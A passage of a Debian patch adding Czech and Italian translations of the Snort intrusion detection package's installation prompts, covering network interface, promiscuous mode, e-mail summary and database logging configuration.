+#~ "pgsql server set up to allow tcp connections from this host, (2) a "
+#~ "database on that server, (3) a username and password to access the "
+#~ "database. If you don't have _all_ of these, either select 'no' and run "
+#~ "with regular file logging support, or fix this first. You can always "
+#~ "configure database logging later, by reconfiguring the snort-pgsql "
+#~ "package with 'dpkg-reconfigure -plow snort-pgsql'"
+#~ msgstr ""
+#~ "Toto je potřeba udělat jen při první instalaci snort-pgsql. Než budete "
+#~ "pokračovat, ujistěte se, že máte (1) jméno počítače, na kterém běží pgsql "
+#~ "server, nastaveno pro povolení tcp spojení z tohoto počítače, (2) "
+#~ "databázi na tom serveru, (3) uživatelské jméno a heslo pro přístup do "
+#~ "databáze. Pokud nemáte tohle _všechno_, zvolte 'ne' a spokojte se s "
+#~ "podporou logování do normálního souboru, nebo to nejdřív napravte. "
+#~ "Vždycky můžete nastavit logování do databáze později rekonfigurováním "
+#~ "balíku snort-pgsql pomocí 'dpkg-reconfigure -plow snort-pgsql'"
+
+#~ msgid ""
+#~ "Snort needs a configured database before it can successfully start up. In "
+#~ "order to create the structure you need to run the following commands "
+#~ "AFTER the package is installed:\n"
+#~ " cd /usr/share/doc/snort-pgsql/\n"
+#~ " zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>\n"
+#~ "Fill in the correct values for the user, host, and database names. "
+#~ "PostgreSQL will prompt you for the password."
+#~ msgstr ""
+#~ "Pro úspěšný start potřebuje Snort nastavenou databázi. Abyste vytvořili "
+#~ "potřebnou strukturu databáze, musíte PO INSTALACI balíku spustit "
+#~ "následující příkazy:\n"
+#~ " cd /usr/share/doc/snort-pgsql/\n"
+#~ " zcat create_postgresql.gz | psql -U <uzivatel> -h <pocitac> -W "
+#~ "<databaze>\n"
+#~ "Doplňte správné hodnoty pro uživatele, počítač a jméno databáze. "
+#~ "PostgreSQL se vás zeptá na heslo."
+
+#~ msgid ""
+#~ "Please enter the name(s) of the interface(s) which Snort should listen "
+#~ "on.  The names of the available interfaces are provided by either "
+#~ "running  'ip link show' of 'ifconfig'. This value usually is 'eth0', but "
+#~ "you might want to vary this depending on your environment, if you are "
+#~ "using a dialup connection 'ppp0' might be more appropiate."
+#~ msgstr ""
+#~ "Zadejte jméno (jména) rozhraní, na kterém (kterých) má Snort naslouchat. "
+#~ "Jména dostupných rozhraní získáte spuštěním 'ip link show' nebo "
+#~ "'ifconfig'. Tato hodnota je obvykle 'eth0', ale můžete chtít jinou, v "
+#~ "závislosti na vašem konkrétním prostředí. Pokud používáte vytáčené "
+#~ "připojení, 'ppp0' může být vhodnější."
+
+#~ msgid "Please enter the address range that Snort will listen on."
+#~ msgstr "Zadejte adresní rozsah, na kterém bude Snort naslouchat."
+
+#~ msgid ""
+#~ "Disable promiscuous mode if you are configuring Snort on an interface "
+#~ "without a configured IP address."
+#~ msgstr ""
+#~ "Zakažte promiskuitní mód, jestliže konfigurujete Snort na rozhraní bez "
+#~ "nastavené IP adresy."
+
+#~ msgid "Please enter the hostname of the mysql database server to use."
+#~ msgstr ""
+#~ "Zadejte jméno počítače s mysql databázovým serverem, který se má použít."
+
+#~ msgid "Please enter the name of the database to use."
+#~ msgstr "Zadejte jméno databáze, která se má použít."
+
+#~ msgid "Please enter the name of the database user you want to use."
+#~ msgstr "Zadejte jméno databázového uživatele, které chcete použít."
+
+#~ msgid "Please enter the hostname of the pgsql database server to use."
+#~ msgstr ""
+#~ "Zadejte jméno počítače s databázovým serverem pgsql, který se má použít."
+
+#~ msgid ""
+#~ "Notice that Snort is usually configured to inspect all traffic coming "
+#~ "from the Internet, so the interface you add here is usually the same the "
+#~ "'default route' is on.  You can determine which interface is used for "
+#~ "this running either 'ip route show' or '/sbin/route -n' (look for "
+#~ "'default' or '0.0.0.0')."
+#~ msgstr ""
+#~ "Snort je obvykle konfigurován pro sledování veškerého provozu "
+#~ "přicházejícího z Internetu, takže rozhraní, které zde přidáte, je obvykle "
+#~ "stejné jako je 'výchozí směrování (default route)'. Které rozhraní se pro "
+#~ "toto používá, můžete zjistit spuštěním buď 'ip route show' nebo '/sbin/"
+#~ "route -n' (hledejte 'default' nebo '0.0.0.0')."
+
+#~ msgid "Should Snort disable promiscous mode on the interface?"
+#~ msgstr "Má Snort zakázat promiskuitní mód na tomto rozhraní?"
--- snort-2.7.0.orig/debian/po/it.po
+++ snort-2.7.0/debian/po/it.po
@@ -0,0 +1,805 @@
+# ITALIAN TRANSLATION OF SNORT
+# TRADUZIONE ITALIANA DI SNORT
+# Copyright (C) 2008 Software in the Public Interest
+# This file is distributed under the same license as the snort package.
+#
+# Gianluca Cotrino <gicotr@gmail.com>, 2008.
+msgid ""
+msgstr ""
+"Project-Id-Version: snort\n"
+"Report-Msgid-Bugs-To: snort@packages.debian.org\n"
+"POT-Creation-Date: 2008-05-01 21:28+0200\n"
+"PO-Revision-Date: 2008-04-20 19:37+0100\n"
+"Last-Translator: Gianluca Cotrino <gicotr@gmail.com>\n"
+"Language-Team: Italian <tp@lists.linux.it>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=ISO-8859-15\n"
+"Content-Transfer-Encoding: 8bit\n"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "boot"
+msgstr "avvio"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "dialup"
+msgstr "dia-lup"
+
+#. Type: select
+#. Choices
+#: ../snort.templates:1001 ../snort-mysql.templates:1001
+#: ../snort-pgsql.templates:1001
+msgid "manual"
+msgstr "manuale"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid "Snort start method:"
+msgstr "metodo di avvio di Snort:"
+
+#. Type: select
+#. Description
+#: ../snort.templates:1002 ../snort-mysql.templates:1002
+#: ../snort-pgsql.templates:1002
+msgid ""
+"Snort can be started during boot, when connecting to the net with pppd or "
+"only manually with the /usr/sbin/snort command."
+msgstr ""
+"Snort pu� essere avviato durante l'avvio, durante la connessione alla rete "
+"con pppd, oppure solamente con il comando /usr/sbin/snort."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid "Interface(s) which Snort should listen on:"
+msgstr "Interfaccia (o interfacce) su cui Snort dovrebbe essere in ascolto:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"This value is usually 'eth0', but this may be inappropriate in some network "
+"environments; for a dialup connection 'ppp0' might be more appropiate (see "
+"the output of '/sbin/ifconfig')."
+msgstr ""
+"Questo valore di solito � 'eth0', ma questo potrebbe essere inappropriato in "
+"alcuni ambienti di rete; per una connessione tramite modem, 'ppp0' potrebbe "
+"essere pi� appropriato (Suggerimento: usare il comando 'ip link show' di "
+"'ifconfig')."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"Typically, this is the same interface as the 'default route' is on. You can "
+"determine which interface is used for this by running '/sbin/route -n' (look "
+"for '0.0.0.0')."
+msgstr ""
+"Solitamente, questa � la stessa interfaccia stabilita quando � attivato "
+"'default route'. Si pu� stabilire quale interfaccia usare per questa "
+"sessione con '/sbin/ip ro sh' o con '/sbin/route -n' (trova 'default' o "
+"'0.0.0.0')."
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"It is also not uncommon to use an interface with no IP address configured in "
+"promiscuous mode. For such cases, select the interface in this system that "
+"is physically connected to the network that should be inspected, enable "
+"promiscuous mode later on and make sure that the network traffic is sent to "
+"this interface (either connected to a 'port mirroring/spanning' port in a "
+"switch, to a hub or to a tap)."
+msgstr ""
+"Non � anche insolito usare un'interfaccia senza IP e configurata in modo "
+"promiscuo; in tal caso, selezionare l'interfaccia del sistema che � "
+"fisicamente connessa alla rete da ispezionare, abilitare la modalit� "
+"promiscua ed assicurarsi che il traffico di rete sia inviato verso questa "
+"interfaccia (oppure connesso ad una porta 'port mirroring/spanning' in uno "
+"switch, ad un hub o ad un tap)"
+
+#. Type: string
+#. Description
+#: ../snort.templates:2001 ../snort-mysql.templates:2001
+#: ../snort-pgsql.templates:2001
+msgid ""
+"You can configure multiple interfaces, just by adding more than one "
+"interface name separated by spaces. Each interface can have its own specific "
+"configuration."
+msgstr ""
+"Si possono configurare pi� interfacce, aggiungendo pi� di un nome di "
+"interfaccia separati da spazi. Ciascuna interfaccia pu� avere la sua "
+"specifica configurazione."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid "Address range for the local network:"
+msgstr "Intervalli di indirizzi per la rete locale:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please use the CIDR form - for example, 192.168.1.0/24 for a block of 256 "
+"addresses or 192.168.1.42/32 for just one. Multiple values should be comma-"
+"separated (without spaces)."
+msgstr ""
+"Usare un formato CIDR - per esempio 192.168.1.0/24 per un blocco di 256 "
+"indirizzi o 192.168.1.42/32 per uno solo. Pi� valori doverebbero essere "
+"separati da una virgola (senza spazi)."
+
+#. Type: string
+#. Description
+#: ../snort.templates:3001 ../snort-mysql.templates:3001
+#: ../snort-pgsql.templates:3001
+msgid ""
+"Please note that if Snort is configured to use multiple interfaces, it will "
+"use this value as the HOME_NET definition for all of them."
+msgstr ""
+"Notare che se Snort � configurato per usare pi� interfacce, essa user� "
+"questo valore come definizione HOME_NET per tutte le altre."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid "Should Snort disable promiscuous mode on the interface?"
+msgstr "Snort deve disabilitare la modalit� promiscua sull'interfaccia?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:4001 ../snort-mysql.templates:4001
+#: ../snort-pgsql.templates:4001
+msgid ""
+"Disabling promiscuous mode means that Snort will only see packets addressed "
+"to the interface it is monitoring. Enabling it allows Snort to check every "
+"packet that passes the Ethernet segment even if it's a connection between "
+"two other computers."
+msgstr ""
+"Disabilitando la modalit� promiscua significa che Snort vedr� solo i "
+"pacchetti indirizzati all'interfaccia che sta monitorando. Abilitandola, si "
+"permette a Snort di controllare ogni pacchetto che passa il segmento "
+"Ethernet anche se questa � una connessione fra altri due computer."
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid "Invalid interface"
+msgstr "Interfaccia non valida"
+
+#. Type: error
+#. Description
+#: ../snort.templates:5001 ../snort-mysql.templates:5001
+#: ../snort-pgsql.templates:5001
+msgid ""
+"Snort is trying to use an interface which does not exist or is down. Either "
+"it is defaulting inappropriately to 'eth0', or you specified one which is "
+"invalid."
+msgstr ""
+"Snort sta cercando di usare un'interfaccia che non esiste o che � spenta. O "
+"� stata configurata non correttamente come 'eth0', o � stato specificato uno "
+"che non � valido."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid "Should Snort's testing order be changed to Pass|Alert|Log?"
+msgstr "Cambiare l'ordine delle regole di test di Snort in Pass|Alert|Log?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:6001 ../snort-mysql.templates:6001
+#: ../snort-pgsql.templates:6001
+msgid ""
+"Snort's default testing order is Alert|Pass|Log; if you accept this option, "
+"the order will be changed to Pass|Alert|Log, which can make it simpler to "
+"use Snort with some packet-filtering tools."
+msgstr ""
+"L'ordine di testing default di Snort � Alert|Pass|Log; se si accetta questa "
+"opzione, l'ordine verr� cambiato in Pass|Alert|Log, che pu� rendere pi� "
+"semplice usare Snort con alcuni strumenti packet-filtering."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Should daily summaries be sent by e-mail?"
+msgstr "Trasmettere via e-mail i riepiloghi giornalieri?"
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid ""
+"A cron job can be set up to send daily summaries of Snort logs to a selected "
+"e-mail address."
+msgstr ""
+"Un lavoro cron pu� essere impostato per inviare giornalmente riepiloghi dei "
+"log di Snort ad un indirizzo e-mail selezionato."
+
+#. Type: boolean
+#. Description
+#: ../snort.templates:7001 ../snort-mysql.templates:7001
+#: ../snort-pgsql.templates:7001
+msgid "Please choose whether you want to activate this feature."
+msgstr "Scegliere se si desidera attivare questa funzione."
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid "Recipient of daily statistics mails:"
+msgstr "Destinazione delle mail statistiche quotidiane:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:8001 ../snort-mysql.templates:8001
+#: ../snort-pgsql.templates:8001
+msgid ""
+"Please specify the e-mail address that should receive daily summaries of "
+"Snort logs."
+msgstr ""
+"Specificare l'indirizzo e-mail sul quale ricevere i riepiloghi giornalieri "
+"dei log di Snort."
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Additional custom options:"
+msgstr "Opzioni personalizzate aggiuntive:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:9001 ../snort-mysql.templates:9001
+#: ../snort-pgsql.templates:9001
+msgid "Please specify any additional options Snort should use."
+msgstr "Specificare ogni altra eventuale opzione che Snort dovrebbe usare."
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid "Minimum occurrences before alerts are reported:"
+msgstr "Numero minimo necessario prima che gli alert siano rapportati:"
+
+#. Type: string
+#. Description
+#: ../snort.templates:10001 ../snort-mysql.templates:10001
+#: ../snort-pgsql.templates:10001
+msgid ""
+"Please enter the minimum number of alert occurrences before a given alert is "
+"included in the daily statistics."
+msgstr ""
+"Inserire il numero minimo di alert che necessitano prima che sia incluso "
+"nelle statistiche giornaliere."
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid "Snort restart required"
+msgstr "Riavvio di Snort necessario"
+
+#. Type: note
+#. Description
+#: ../snort.templates:11001 ../snort-mysql.templates:11001
+#: ../snort-pgsql.templates:11001
+msgid ""
+"As Snort is manually launched, you need to run '/etc/init.d/snort' for the "
+"changes to take place."
+msgstr ""
+"Appena Snort � lanciato manualmente, � necessario lanciare '/etc/init.d/"
+"snort' per attivare i cambiamenti."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid "Configuration error"
+msgstr "Errore di configurazione"
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"The current Snort configuration is invalid and will prevent Snort starting "
+"up normally. Please review and correct it."
+msgstr ""
+"La corrente configurazione di Snort non � valida ed impedir� a Snort di "
+"avviarsi normalmente. Prego, rivederla e correggerla."
+
+#. Type: error
+#. Description
+#: ../snort.templates:12001 ../snort-mysql.templates:12001
+#: ../snort-pgsql.templates:12001
+msgid ""
+"To diagnose an error in a Snort configuration file, use '/usr/sbin/snort -T -"
+"c <file>'."
+msgstr ""
+"Per diagnosticare un errore in un file di configurazione di Snort, usare  '/"
+"usr/sbin/snort -T -c <file>'."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid "Obsolete configuration file"
+msgstr "File di configurazione obsoleto"
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"This system uses an obsolete configuration file (/etc/snort/snort.common."
+"parameters) which has been automatically converted into the new "
+"configuration file format (at /etc/default/snort)."
+msgstr ""
+"Questo sistema usa un file di configurazione obsoleto (/etc/snort/snort."
+"common.parameters) che � stato automaticamente convertito nel nuovo formato "
+"del file di configurazione (/etc/default/snort)."
+
+#. Type: error
+#. Description
+#: ../snort.templates:13001 ../snort-mysql.templates:13001
+#: ../snort-pgsql.templates:13001
+msgid ""
+"Please review the new configuration and remove the obsolete one. Until you "
+"do this, the initialization script will not use the new configuration and "
+"you will not take advantage of the benefits introduced in newer releases."
+msgstr ""
+"Rivedere la nuova configurazione e rimuovere quella obsoleta. Nel frattempo, "
+"lo script di inizializzazione non utilizzer� la nuova configurazione e non "
+"si trarr� vantaggio dei benefici introdotti nelle nuove versioni."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid "Set up a database for snort-mysql to log to?"
+msgstr "Impostare un database per i log di snort-mysql?"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"No database has been set up for Snort to log to. Before continuing, you "
+"should make sure you have:"
+msgstr ""
+"Nessun database � stato configurato per il log di Snort. Prima di "
+"continuare, ci si dovrebbe assicurare di avere:"
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+" - the server host name (that server must allow TCP connections\n"
+"   from this machine);\n"
+" - a database on that server;\n"
+" - a username and password to access the database."
+msgstr ""
+"- l'host name del server (quel server che deve autorizzare TCP connections\n"
+" da questa macchina);\n"
+"- un database su quel server;\n"
+"- un username e password per accedere al database."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001 ../snort-pgsql.templates:14001
+msgid ""
+"If some of these requirements are missing, reject this option and run with "
+"regular file logging support."
+msgstr ""
+"Se qualcuno di questi elementi richiesti manca, rifiutare questa opzione ed "
+"avviare con il supporto di un regolare file di logging."
+
+#. Type: boolean
+#. Description
+#: ../snort-mysql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-mysql'."
+msgstr ""
+"Il database dei log pu� essere riconfigurato successivamente lanciando 'dpkg-"
+"reconfigure -plow snort-mysql'."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid "Database server hostname:"
+msgstr "Hostname del server database:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:15001 ../snort-pgsql.templates:15001
+msgid ""
+"Please specify the host name of a database server that allows incoming "
+"connections from this host."
+msgstr ""
+"Specificare il nome host di un database server che permetta connessioni in "
+"entrata da questo host!"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid "Database name:"
+msgstr "Nome del database:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:16001 ../snort-pgsql.templates:16001
+msgid ""
+"Please specify the name of an existing database to which the database user "
+"has write access."
+msgstr ""
+"Specificare il nome di un database esistente su cui l'utente del database "
+"gode del permesso di scrittura."
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid "Username for database access:"
+msgstr "Nome utente per l'accesso al database:"
+
+#. Type: string
+#. Description
+#: ../snort-mysql.templates:17001 ../snort-pgsql.templates:17001
+msgid ""
+"Please specify a database server username with write access to the database."
+msgstr ""
+"Specificare un username per il database server con permesso di scrittura su "
+"questo database."
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid "Password for the database connection:"
+msgstr "Password per la connessione al database:"
+
+#. Type: password
+#. Description
+#: ../snort-mysql.templates:18001 ../snort-pgsql.templates:18001
+msgid ""
+"Please enter the password to use to connect to the Snort Alert database."
+msgstr ""
+"Inserire una password da usare per connettersi al database degli Alert di "
+"Snort."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid "Configured database mandatory for Snort"
+msgstr "Database configurato obbligatorio per Snort"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"Snort needs a configured database before it can successfully start up. In "
+"order to create the structure you need to run the following commands AFTER "
+"the package is installed:"
+msgstr ""
+"Snort necessita di un database configurato prima che possa partire con "
+"successo. Al fine di creare la struttura, � necessario lanciare il seguente "
+"comando DOPO che il pacchetto sia installato:"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>"
+msgstr ""
+"cd /usr/share/doc/snort-mysql/\n"
+" zcat create_mysql.gz | mysql -u <user> -h <host> -p <databasename>"
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. MySQL "
+"will prompt you for the password."
+msgstr ""
+"Riempire con i valori corretti dei nomi per utente, host e database. MySQL "
+"chieder� la password."
+
+#. Type: note
+#. Description
+#: ../snort-mysql.templates:19001 ../snort-pgsql.templates:19001
+msgid ""
+"After you have created the database structure, you will need to start Snort "
+"manually."
+msgstr ""
+"Dopo aver creato la struttura del database, � necessario avviare Snort "
+"manualmente."
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid "Set up a database for snort-pgsql to log to?"
+msgstr "Configurare un database per i log di snort-pgsql?"
+
+#. Type: boolean
+#. Description
+#: ../snort-pgsql.templates:14001
+msgid ""
+"Database logging can be reconfigured later by running 'dpkg-reconfigure -"
+"plow snort-pgsql'."
+msgstr ""
+"Il database dei log pu� essere riconfigurato successivamente lanciando 'dpkg-"
+"reconfigure -plow snort-pgsql'."
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>"
+msgstr ""
+" cd /usr/share/doc/snort-pgsql/\n"
+" zcat create_postgresql.gz | psql -U <user> -h <host> -W <databasename>"
+
+#. Type: note
+#. Description
+#: ../snort-pgsql.templates:19001
+msgid ""
+"Fill in the correct values for the user, host, and database names. "
+"PostgreSQL will prompt you for the password."
+msgstr ""
+"Riempire i valori corretti dei nomi utente, host e database. PostgreSQL "
+"richieder� la password."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid "Deprecated configuration file"
+msgstr "File di configurazione deprecato"
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The Snort configuration file (/etc/snort/snort.conf) uses deprecated options "
+"no longer available for this Snort release. Snort will not be able to start "
+"unless you provide a correct configuration file. Either allow the "
+"configuration file to be replaced with the one provided in this package or "
+"fix it manually by removing deprecated options."
+msgstr ""
+"Il file di configurazione di Snort (/etc/snort/snort.conf) utilizza opzioni "
+"deprecate non pi� disponibili per questa versione di Snort. Snort non potr� "
+"partire finch� non si fornisce un file di configurazione corretto. Si pu� "
+"sostituire il file di configurazione con quello incluso in questo pacchetto "
+"oppure correggerlo manualmente rimuovendo le opzioni deprecate."
+
+#. Type: note
+#. Description
+#: ../snort-common.templates:1001
+msgid ""
+"The following deprecated options were found in the configuration file: "
+"${DEP_CONFIG}"
+msgstr ""
+"Le seguenti opzioni deprecate sono state trovate nel file di configurazione: "
+"${DEP_CONFIG}"
+
+#~ msgid "You are running Snort manually"
+#~ msgstr "Si sta eseguendo Snort manualmente"
+
+#~ msgid "There is an error in your configuration"
+#~ msgstr "C'� un errore nella configurazione"
+
+#~ msgid "boot, dialup, manual"
+#~ msgstr "avvio, collegamento, manuale"
+
+#~ msgid "When should Snort be started?"
+#~ msgstr "Quando dovrebbe avviarsi Snort?"
+
+#~ msgid ""
+#~ "If you want you can specify 'any', to not trust any side of the network."
+#~ msgstr ""
+#~ "Volendo si pu� specificare 'any', per non lasciare alcun lato della rete."
+
+#~ msgid ""
+#~ "One of the interfaces you specified is not valid (it might not exist on "
+#~ "the system or be down). Please introduce a valid interface when answering "
+#~ "the question of which interface(s) should Snort listen on."
+#~ msgstr ""
+#~ "Una delle interfacce specificate non � valida (potrebbe non esistere sul "
+#~ "sistema o essere spenta). Si prega di introdurre una valida interfaccia "
+#~ "quando si risponde alla domanda su quale interfaccia Snort dovrebbe "
+#~ "essere posto in ascolto."
+
+#~ msgid ""
+#~ "If you did not configure an interface then the package is trying to use "
+#~ "the default ('eth0') which does not seem to be valid in your system."
+#~ msgstr ""
+#~ "Se non si configura un'interfaccia allora il pacchetto sta cercando di "
+#~ "usare quella predefinita ('eth0') che non sembra ssere valida nel sistema."
+
+#~ msgid ""
+#~ "If you change Snort's rules testing order to Pass|Alert|Log, they will be "
+#~ "applied in Pass->Alert->Log order, instead of standard Alert->Pass->Log. "
+#~ "This will prevent people from having to make huge Berky Packet Filter "
+#~ "command line arguments to filter their alert rules."
+#~ msgstr ""
+#~ "Cambiando l'ordine delle regole di test di Snort in Pass|Alert|Log, esse "
+#~ "saranno applicate nell'ordine Pass->Alert->Log, invece dello standard "
+#~ "Alert->Pass->Log. Questo eviter� di dover creare pesanti argomenti da "
+#~ "riga di comando Berky Packet Filter per filtrare le loro regole di avviso."
+
+#~ msgid ""
+#~ "This Snort installation provides a cron job that runs daily and "
+#~ "summarises the information of Snort logs to a selected email address. If "
+#~ "you want to disable this feature say 'no' here."
+#~ msgstr ""
+#~ "Questa installazione di Snort fornisce un lavoro di cron che viene "
+#~ "eseguito giornalmente e riassume le informazioni di log di Snort verso un "
+#~ "indirizzo e-mail selezionato. Se si vuole disabilitare questa funzione, "
+#~ "digitare 'no'."
+
+#~ msgid ""
+#~ "A cron job running daily will summarise the information of the logs "
+#~ "generated by Snort using a script called 'snort-stat'. Introduce here the "
+#~ "recipient of these mails. The default value is the system administrator. "
+#~ "If you keep this value, make sure that the mail of the administrator is "
+#~ "redirected to a user that actually reads those mails."
+#~ msgstr ""
+#~ "Un lavoro cronologia quotidiana riepilogher� le informazioni dei logs "
+#~ "generati da Snort usando uno script chiamato 'snort-stat'. Specificare "
+#~ "adesso dove salvare queste mail. Il valore predefinito � il sistema "
+#~ "amministratore. Lasciando questa scelta, assicurarsi che la posta "
+#~ "dell'amministratore sia reindirizzata ad un utente che attualmente legge "
+#~ "quelle mail."
+
+#, fuzzy
+#~ msgid ""
+#~ "If you want to specify custom options to Snort, please specify them here."
+#~ msgstr ""
+#~ "Se si desidera specificare opzioni personalizzate per Snort, specificarle "
+#~ "adesso."
+
+#~ msgid ""
+#~ "Please restart Snort using:\n"
+#~ " /etc/init.d/snort start\n"
+#~ "to let the settings take effect."
+#~ msgstr ""
+#~ "Riavviare Snort usando:\n"
+#~ " /etc/init.d/snort start\n"
+#~ "per permettere alle impostazioni di avere effetto."
+
+#~ msgid ""
+#~ "Your Snort configuration is not correct and Snort will not be able to "
+#~ "start up normally. Please review your configuration and fix it. If you do "
+#~ "not do this, Snort package upgrades will probably break. To check which "
+#~ "error is being generated run '/usr/sbin/snort -T -c /etc/snort/snort."
+#~ "conf' (or point to an alternate configuration file if you are using "
+#~ "different files for different interfaces)"
+#~ msgstr ""
+#~ "Questa configurazione di Snort non � corretta e Snort non potr� avviarsi "
+#~ "normalmente. Rivedere la configurazione e correggerla. Altrimenti, "
+#~ "l'aggiornamento del pacchetto Snort probabilmente non andr� a buon fine. "
+#~ "Per controllare quale errore sia stato commesso, digitare '/usr/sbin/"
+#~ "snort -T -c /etc/snort/snort.conf' (o indirizzare verso un altro file di "
+#~ "configurazione se si stanno usando diversi file per ciascuna interfaccia)"
+
+#~ msgid ""
+#~ "You only need to do this the first time you install snort-mysql. Before "
+#~ "you go on, make sure you have (1) the hostname of a machine running a "
+#~ "mysql server set up to allow tcp connections from this host, (2) a "
+#~ "database on that server, (3) a username and password to access the "
+#~ "database. If you don't have _all_ of these, either select 'no' and run "
+#~ "with regular file logging support, or fix this first. You can always "
+#~ "configure database logging later, by reconfiguring the snort-mysql "
+#~ "package with 'dpkg-reconfigure -plow snort-mysql'"
+#~ msgstr ""
+#~ "� necessario farlo solo la prima volta che si installa snort-mysql. Prima "
+#~ "di proseguire, assicurarsi di avere (1) l'hostname di una macchina su cui "
+#~ "giri un server mysql che consenta connessioni tcp da questo host, (2) un "
+#~ "database su quel server, (3) un nome utente e password per accedere a "
+#~ "quel database. Se non si possiede tutto ci�, selezionare 'no' e lanciarlo "
+#~ "con il supporto di un regolare file di log, oppure risolvere il problema. "
+#~ "Si pu� sempre configurare un database dei log successivamente, "
+#~ "riconfigurando il pacchetto snort-mysql con 'dpkg-reconfigure -plow snort-"
+#~ "mysql'"
+
+#~ msgid "Make sure this user has been created and has write access."
+#~ msgstr ""
+#~ "Assicurarsi che questo utente sia stato creato ed abbia accesso alla "
+#~ "scrittura."
+
+#, fuzzy
+#~ msgid "Snort needs a configured database to log to before it starts"
+#~ msgstr ""
+#~ "Snort necessita di un database configurato per entrare prima di essere "
+#~ "lanciato."
+
+#~ msgid ""
+#~ "You only need to do this the first time you install snort-pgsql. Before "
+#~ "you go on, make sure you have (1) the hostname of a machine running a "
+#~ "pgsql server set up to allow tcp connections from this host, (2) a "
+#~ "database on that server, (3) a username and password to access the "
+#~ "database. If you don't have _all_ of these, either select 'no' and run "
+#~ "with regular file logging support, or fix this first. You can always "
+#~ "configure database logging later, by reconfiguring the snort-pgsql "
+#~ "package with 'dpkg-reconfigure -plow snort-pgsql'"
+#~ msgstr ""
